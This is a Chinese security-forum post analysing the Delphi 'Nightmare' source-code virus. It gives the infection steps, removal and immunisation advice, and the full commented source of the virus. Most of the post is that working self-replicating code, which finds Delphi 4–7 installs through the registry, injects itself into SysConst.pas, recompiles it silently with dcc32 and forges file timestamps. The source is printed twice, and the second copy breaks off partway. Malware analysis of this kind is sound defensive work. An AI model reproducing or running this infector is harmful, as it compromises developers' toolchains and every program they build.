首页
社区
课程
招聘
[原创]Delphi梦魇病毒完整源码分析
发表于: 2021-8-16 17:00 6422

[原创]Delphi梦魇病毒完整源码分析

2021-8-16 17:00
6422

前几天在看老文件时,突然报病毒,查了一下是delphi梦魇,这个病毒很特殊,我以前研究的时候知道有一种病毒是源码病毒,他会把代码插入带目标文件中,这是我看到的唯一一个源码病毒,以前一直没有太在意,今天突然想研究一下,就在网上找源码,但是网上都没有完整的病毒源码,于是我就从感染的病毒文件中提取了源码进行分析。

先说说病毒感染的流程:
1、从注册表判断Delphi版本是否为4.0~7.0,如果是就传染,否则不传染
2、读出sysconst.pas文件感染病毒,然后写入到LIB目录下
3、备份sysconst.dcu文件
4、调用dcc32编译sysconst.pas文件
5、编译完成后删除sysconst.pas文件
6、修改sysconst.dcu的时间为原始文件的时间
7、病毒感染完毕

清除病毒:
1、到Delphi的LIB目录下,找到sysconst.bak,将其改为sysconst.dcu即可
2、如果没有找到bak文件,从相关版本的安装盘中找sysconst.dcu覆盖同名文件即可

免疫病毒:
1、拷贝一份sysconst.dcu,将名字改为sysconst.bak,这样就不会被病毒感染了

下面是病毒的完整代码,里面添加了注释:

看懂之前不要编译执行,以免被感染。

 
 
 
 
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
 
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
var sc:array[1..24] of string=(
  'uses windows; var sc:array[1..24] of string=(',
  'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
  '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
  'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
  'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
  '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
  '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
  'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
  'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
  ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
  'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
  ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
  'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
  'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
  'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
  '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
  'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
  '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
  'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
  'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
  'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
  '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
  '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
  'begin st; end.');
 
//此函数是将字符串中的$替换为单引号
//由于单引号是Delphi中的关键字符,因此sc数组中代码
//里面包含的单引号都用$来表示,当恢复代码时要还原
function x(s:string):string;
var
  i:integer;
begin
  for i:=1 to length(s) do
    if s=#36 then s:=#39;
  result:=s;
end;
 
//这个函数将病毒插入sysconst.pas文件中
//然后再编译成dcu文件
//之后就将pas文件删除
//参数:
//s:pas文件
//d:dcu文件
//e:dcc32文件
procedure re(s,d,e:string);
var
  f1,f2:textfile;
  h:cardinal;
  f:STARTUPINFO;
  p:PROCESS_INFORMATION;
  b:boolean;
  t1,t2,t3:FILETIME;
begin
  //判断是否感染过病毒,避免重复感染
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
 
  //打开sysconst.pas文件
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then
    exit;
 
  //打开要写的病毒pas文件,这个文件保存在LIB目录下
  assignfile(f2,d+'pas');
  rewrite(f2);
  if ioresult<>0 then
  begin
    closefile(f1);
    exit;
  end;
  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then //将病毒代码插入到这个关键字的后面
    break;
  end;
 
  //插入sc数组到pas文件中
  for h:= 1 to 1 do
    writeln(f2,sc[h]);
  for h:= 1 to 23 do
    writeln(f2,''''+sc[h],''',');
  writeln(f2,''''+sc[24]+''');');
 
  //插入病毒代码到pas文件中,替换S字符并写入
  for h:= 2 to 24 do
    writeln(f2,x(sc[h]));
 
  closefile(f1);
  closefile(f2);
 
  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); //备份dcu原始文件
  fillchar(f,sizeof(f),0);
  f.cb := sizeof(f);
  f.dwFlags := STARTF_USESHOWWINDOW;
  f.wShowWindow := SW_HIDE;  //不显示编译窗口
  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if b then
    WaitForSingleObject(p.hProcess,INFINITE); //等待直到编译结束
 
  MoveFile(pchar(d+'bak'),pchar(d+'dcu')); //防止因失败而丢失dcu文件
  DeleteFile(pchar(d+'pas')); //删除病毒源文件
  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h=DWORD(-1) then
   exit;
 
  //将病毒文件的时间改为原文件的时间
  GetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if h=DWORD(-1) then
   exit;
 
  SetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
end;
 
procedure st;
var
  k:HKEY;
  c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do //判断Delphi版本是不是4.0~7.0,不是的话就不感染,否则感染
  //从注册表读取Delphi的目录信息
  if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
  begin
    i:=255;
    if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
    begin
      r:='';
      i:=1;
      while c<>#0 do
      begin
        r:=r+c;
        inc(i);
      end;
      re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" '); //感染病毒
    end;
    RegCloseKey(k);
  end;
end;
 
procedure TForm1.Button1Click(Sender: TObject);
begin
  st;
end;
 
end.
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
 
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
var sc:array[1..24] of string=(
  'uses windows; var sc:array[1..24] of string=(',
  'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
  '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
  'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
  'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
  '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
  '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
  'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
  'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
  ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
  'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
  ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
  'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
  'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
  'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
  '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
  'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
  '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
  'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
  'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
  'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
  '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
  '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
  'begin st; end.');
 
//此函数是将字符串中的$替换为单引号
//由于单引号是Delphi中的关键字符,因此sc数组中代码
//里面包含的单引号都用$来表示,当恢复代码时要还原
function x(s:string):string;
var
  i:integer;
begin
  for i:=1 to length(s) do
    if s=#36 then s:=#39;
  result:=s;
end;
 
//这个函数将病毒插入sysconst.pas文件中
//然后再编译成dcu文件
//之后就将pas文件删除
//参数:
//s:pas文件
//d:dcu文件
//e:dcc32文件
procedure re(s,d,e:string);
var
  f1,f2:textfile;
  h:cardinal;
  f:STARTUPINFO;
  p:PROCESS_INFORMATION;
  b:boolean;
  t1,t2,t3:FILETIME;
begin
  //判断是否感染过病毒,避免重复感染
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-8-17 13:16 被lrtlrt编辑 ,原因: 格式修改
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 229
活跃值: (330)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
xuexi 支持一下 
2021-8-16 17:57
0
游客
登录 | 注册 方可回帖
返回
//